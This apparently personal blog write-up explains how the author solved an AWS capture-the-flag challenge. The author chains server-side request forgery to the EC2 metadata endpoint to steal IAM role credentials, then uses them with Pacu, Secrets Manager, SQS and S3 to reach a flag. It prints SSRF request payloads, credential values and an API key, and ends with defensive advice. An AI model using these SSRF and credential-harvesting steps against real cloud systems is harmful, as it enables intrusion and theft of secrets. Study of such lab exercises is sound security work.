Last week I took part in "[REDACTED] first-ever AWS Capture the Flag" and since the challenge is not online anymore I thought I would write how I solved it.
When you open the target you see a website that let you check if your website is down by entering the URL into the form. If the website is up (the response status code is 200) you will be able to see the content of the response.
If you looked into the response you could see that the response was base64 encoded and then decoded client side.
Server Side Request Forgery
Here we have a prime candidate for a nice Server Side Request Forgery (SSRF) since we can induce the server-side application to make HTTP requests to an arbitrary domain.
I am saying nice since in this case we can not only specify an arbitrary URL but we can also get the response which in the context of AWS can lead to some serious vulnerabilities when it is used to retrieve sensitive information from the instance metadata service (IMDS).
The IMDS is used to provide access to temporary, frequently rotated credentials, removing the need to hardcode or distribute sensitive credentials to instances manually or programatically. Attached locally to every EC2 instance, the IMDS runs on a special “link local” IP address of 169.254.169.254 that means only software running on the instance can access it. For applications with access to IMDS, it makes available metadata about the instance, its network, and its storage. The IMDS also makes the AWS credentials available for any IAM role that is attached to the instance.
When we try to query the metadata endpoint using the application form we do get a response and there are some credentials associated with a role named SSRFChallengeOneRole !
Request:
GET /api/check_webpage?addr=http://169.254.169.254/latest/meta-data/iam/security-credentials/SSRFChallengeOneRole HTTP/1.1
Host: 0aecbc1985d3e4ff8e68488166f251f6a0c6f7d0.aws.redacted.com
Response:
HTTP/1.1 200 OK
Date: Wed, 07 Apr 2021 17:49:40 GMT
Content-Type: application/json
Content-Length: 1773
Connection: close
Server: nginx/1.18.0
{"page":"ew[...]n0=","status":200}
The problem now is that we do not know what are the permissions associated with this role and we probably do not have the permissions to check the permissions we have :)
One way to figure out what the permissions linked to the role, is to try everything and see what works. There are a couple of projects on GitHub that are helpful to enumerate IAM permissions.
The first one is Pacu by @rhinosecurity. If you are interested in AWS Security I highly suggest you check their blog.
Pacu is an open-source AWS exploitation framework, designed for offensive security testing against cloud environments. Pacu allows penetration testers to exploit configuration flaws within an AWS account, using modules to easily expand its functionality. Current modules enable a range of attacks, including user privilege escalation, backdooring of IAM users, attacking vulnerable Lambda functions, and much more.
Let's use the docker version:
docker run -it rhinosecuritylabs/pacu:latest
Once inside the container you can set the keys using set_keys:
Pacu (aws-ctf:No Keys Set) > set_keys
Setting AWS Keys...
Press enter to keep the value currently stored.
Enter the letter C to clear the value, rather than set it.
If you enter an existing key_alias, that key's fields will be updated instead of added.
Key alias [None]: aws-ctf
Access key ID [None]: ASIASCLNOVA3REDGU2U4
Secret access key [None]: ZcbJr4BAk3N2BOPkT8YL4PRR+G6OCmj5DlXgY8hj
Session token (Optional - for temp AWS keys only) [None]: IQo[...]9A==
Keys saved to database.
You can now use the iam__bruteforce_permissions module:
Pacu (aws-ctf:aws-ctf) > run iam__bruteforce_permissions
During the CTF I encountered a bug (#241) so I had to use another tool but hopefully next time this will be fixed since there is already a pull request.
The second tool I used to enumerate IAM permissions is enumerate-iam:
That's not really useful information I should have checked the doc before, since this only returns the regional endpoint information for DynamoDB. At least now we know the region :)
The next one should be more interesting since it describes the specified instances or all instances running in the AWS environment:
So at the time there were 3 instances referencing SSRFChallengeOne and 1 instance referencing SSRFChallengeTwo.
Let's check the secrets:
aws secretsmanager list-secrets --profile aws-ctf --region us-west-2
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-west-2:142500341815:secret:redacted_flag_secret_secondary-w8H93H",
"Name": "redacted_flag_secret_secondary",
"Description": "The second of two secrets used in deriving REDACTED SSRF challenge flags.", [...]
},
{
"ARN": "arn:aws:secretsmanager:us-west-2:142500341815:secret:redacted_flag_secret_main-UQPCee",
"Name": "redacted_flag_secret_main",
"Description": "The first of two secrets used in deriving REDACTED SSRF challenge flags.", [...]
},
{
"ARN": "arn:aws:secretsmanager:us-west-2:142500341815:secret:web_service_health_api_key-u54cKi",
"Name": "web_service_health_api_key",
"Description": "Used to interact with the Web Service Health Monitor", [...]
}
]
}
Let's see if we can get the secrets:
aws secretsmanager get-secret-value --secret-id redacted_flag_secret_main --version-stage AWSCURRENT --region us-west-2 --profile aws-ctf
An error occurred (AccessDeniedException) when calling the GetSecretValue operation: User: arn:aws:sts::142500341815:assumed-role/SSRFChallengeOneRole/i-06b09a4c7cdd33156 is not authorized to perform: secretsmanager:GetSecretValue on resource: redacted_flag_secret_main
aws secretsmanager get-secret-value --secret-id redacted_flag_secret_secondary --version-stage AWSCURRENT --region us-west-2 --profile aws-ctf
An error occurred (AccessDeniedException) when calling the GetSecretValue operation: User: arn:aws:sts::142500341815:assumed-role/SSRFChallengeOneRole/i-06b09a4c7cdd33156 is not authorized to perform: secretsmanager:GetSecretValue on resource: redacted_flag_secret_secondary
Only the last secret could be read which mention a "Web Service Health Monitor" but where could be this API ?
Let's see if we can reach the the instances in the AWS environment (here I am filtering to only see the private IPs since I was pretty sure that this was were the next step would be:
Missing api_key parameter. See AWS SecretsManager.
The others are returning:
Incorrect challenge subdomain.
Since we already have the API key we only have to the parameter. After the second try:
GET /api/check_webpage?addr=http://10.0.0.55/?api_key=hXjYspOr406dn93uKGmsCodNJg3c2oQM HTTP/1.1
Host: 0aecbc1985d3e4ff8e68488166f251f6a0c6f7d0.aws.h1ctf.com
function fetch_machines() {
return authenticated_fetch(`/api/get_machines`);
}
function fetch_system_status(addr) {
return authenticated_fetch(`/api/get_status?addr=${addr}`);
}
function authenticated_fetch(addr) {
let separator = addr.includes("?") ? "&" : "?";
return fetch(`${addr}${separator}api_key=${api_key}`);
}
fetch_machines().then((result) => result.json()).then((machine_addrs) => {
machine_addrs.forEach((addr) => {
fetch_system_status(addr).then((result) => result.json()).then((data) => {
let status_table = document.getElementById("status_table");
let status_row = document.createElement("tr");
let machine_addr = document.createElement("td");
machine_addr.textContent = addr;
let machine_status = document.createElement("td");
machine_status.textContent = data["success"] ? "OK" : "UNREACHABLE";
machine_status.className = data["success"] ? "ok" : "err";
status_row.appendChild(machine_addr);
status_row.appendChild(machine_status);
status_table.appendChild(status_row);
})
});
});
Using the SSRF again let's check the different endpoints:
/api/get_machines
/api/get_status?addr=
The first one (get_machines) returned a 500 error but the second one worked and is also vulnerable to server side request forgery which means that we can get the IAM role and credentials:
{"data":"SSRFChallengeTwoRole","success":true}
With this second role we can get the secret redacted_flag_secret_secondary (which is not used afterwards):
# Flag Generation
This document outlines the steps required to generate a flag file.
## Steps
1. Fetch your `hid` and `fid` values from the `/api/_internal/87tbv6rg6hojn9n7h9t/get_hid` endpoint.
2. Send a message to the SQS queue `flag_file_generator` with the following format
```json
{"fid": "<fid>", "hid": "<hid>"}
```
where `<fid>` and `<hid>` are the values you received in step 1.
3. Get the `<fid>.flag` file from the `flag-files` (name may be slightly different) S3 bucket.
## Tips
If you've never worked with SQS (Simple Queue Service) before then the [following link](https://docs.aws.amazon.com/cli/latest/reference/sqs/send-message.html)
may be helpful in sending messages from the aws cli tool.
Let's retrieve the fid and hid values:
GET /api/check_webpage?addr=<@urlencode>http://10.0.0.55/api/_internal/87tbv6rg6hojn9n7h9t/get_hid?api_key=hXjYspOr406dn93uKGmsCodNJg3c2oQM<@/urlencode>
Note: MD5OfMessageBody is an MD5 hash of the message body that we sent, this will be helful later ;)
If we did everything correctly then the flag should be placed in the redacted-flag-files bucket and readable:
aws s3 cp s3://redacted-flag-files/5e9cfba7-a0bd-4d5d-974e-b590190a0460.flag . --profile aws-ctf-2
fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden
😞 At this point I was wondering if I skipped something such as needing to access the last secret first or using the second secret. Just to be sure I decided to check the MD5OfMessageBody and it turns out that:
The OWASP has a great cheatsheet on how to prevent SSRF. The TLDR is that, in case the application should be able to send requests to ANY external IP address or domain name, then filtering URLs at the application level is pretty hard since bypass are legion and it is easy to leave an edge case.
My recommendation would be to isolate such services so that they don't risk being used against other services and make sure to use IMDSv2 so that every request is protected by session authentication.
I would also recommend using AWS GuardDuty since exploiting this vulnerability would have triggered multiple alarms:
